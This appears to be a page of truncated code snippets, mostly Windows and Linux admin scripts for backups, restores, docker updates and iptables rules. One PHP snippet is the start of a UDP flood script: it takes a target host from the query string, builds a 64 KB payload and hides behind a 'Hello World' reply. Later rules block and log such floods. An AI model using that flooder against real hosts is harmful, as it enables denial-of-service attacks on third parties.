This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
C:\Program Files\Duplicati 2\Duplicati.CommandLine.exe restore %SftpURL% --auth-username=%SftpUser% --auth-password=%SftpPassword% --passphrase=%SftpPassphrase% --restore-path=%RestorePath% |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$command = 'send-mailmessage -from [email protected] -to [email protected] -subject "$env:computername has been restarted" -body "The server $env:computername has recently restarted. If this was unexpected please log into the server and check the cause as soon as possible." -smtpserver 127.0.0.1' | |
$bytes = [system.text.encoding]::Unicode.GetBytes($command) | |
$encodedCommand = [convert]::tobase64string($bytes) | |
echo $encodedCommand > encodedtext.txt | |
notepad encodedtext.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Import-Module WebAdministration | |
function test-variable | |
{ | |
# return $false if variable:\$name is missing or $null | |
param( [string]$name ) | |
$isMissingOrNull = (!(test-path ('variable:'+$name)) -or ((get-variable -name $name -value) -eq $null)) | |
return !$isMissingOrNull |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$date = Get-Date -UFormat %Y-%m-%d; | |
$source = "C:\inetpub\wwwroot\site\Website" | |
$dest = "C:\Backup\IIS\site_$date" | |
$exclude = @('temp','app_data') | |
$destzippath = "C:\Backup\IIS\site\archive_$date.zip" | |
Write-Host "File backup started." | |
if(!(Test-Path -Path $dest)) { | |
New-Item -ItemType directory -Path $dest; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$limit = (Get-Date).AddDays(-14) | |
$path = "C:\Backup\MSSQL\" | |
# Delete files older than the $limit. | |
Get-ChildItem -Path $path -Recurse -Force | Where-Object { !$_.PSIsContainer -and $_.CreationTime -lt $limit } | Remove-Item -Force | |
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.Smo") | out-null | |
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended") | Out-Null | |
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null | |
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoEnum") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker images | grep -v REPOSITORY | awk '{print $1}' | xargs -L1 docker pull |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-HostToIP($hostname) { | |
$result = [system.Net.Dns]::GetHostByName($hostname) | |
$result.AddressList | ForEach-Object {$_.IPAddressToString } | |
} | |
Get-Content "C:\Temp\Servers.txt" | ForEach-Object {(Get-HostToIP($_)) >> C:\Temp\Addresses.txt} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ignore_user_abort(TRUE); | |
set_time_limit(0); | |
if(!isset($_GET['h'])) | |
exit('Hello World'); | |
$lol = gethostbyname($_GET['h']); | |
$out = 'v'; | |
for($i=0;$i<65535;$i++) $out .= 'X'; | |
$dt = 10; | |
if(isset($_GET['t'])) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# allow dns requests to google nameservers | |
iptables -A OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT | |
iptables -A OUTPUT -p udp --dport 53 -d 8.8.4.4 -j ACCEPT | |
# block all other udp | |
iptables -A OUTPUT -p udp -j DROP | |
ip6tables -A OUTPUT -p udp -j DROP |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Outbound UDP Flood protection in a user defined chain. | |
iptables -N udp-flood | |
iptables -A OUTPUT -p udp -j udp-flood | |
iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN | |
iptables -A udp-flood -j LOG --log-level 4 --log-prefix 'UDP-flood attempt: ' | |
iptables -A udp-flood -j DROP |